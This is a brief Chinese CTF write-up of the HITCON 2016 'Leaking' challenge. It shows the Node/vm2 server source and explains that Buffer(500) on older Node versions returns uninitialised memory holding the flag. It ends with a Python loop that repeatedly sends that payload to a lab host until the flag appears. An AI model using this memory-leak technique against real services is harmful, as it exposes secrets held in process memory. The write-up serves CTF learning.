[HITCON2016]Leaking

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
"use strict";

var randomstring = require("randomstring");
var express = require("express");
var {
VM
} = require("vm2");
var fs = require("fs");

var app = express();
var flag = require("./config.js").flag

app.get("/", function(req, res) {
res.header("Content-Type", "text/plain");

/* Orange is so kind so he put the flag here. But if you can guess correctly :P */
eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";")
if (req.query.data && req.query.data.length <= 12) {
var vm = new VM({
timeout: 1000
});
console.log(req.query.data);
res.send("eval ->" + vm.run(req.query.data));
} else {
res.send(fs.readFileSync(__filename).toString());
}
});

app.listen(3000, function() {
console.log("listening on port 3000!");
});

意思基本上就是有个POST方法的data数据,输入的数据不能超过12个字符

执行结果与字符串 "eval ->" 连接起来,并作为 HTTP 响应发回。

1
低版本的node可以使用buffer()来查看内存,只要调用过的变量,都会存在内存中,那么我们可以构造paylaod读取内存

基本上就是一直buffer(500)查看内存,如果有flag就返回

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import time
url = 'http://9b4d4454-1713-42f4-9502-fe741e293347.node5.buuoj.cn:81/?data=Buffer(500)'

while True:
r = requests.get(url)
time.sleep(0.2)
print('trying')
if r.status_code == 200:
if 'flag{' in r.text:
print(r.text)
break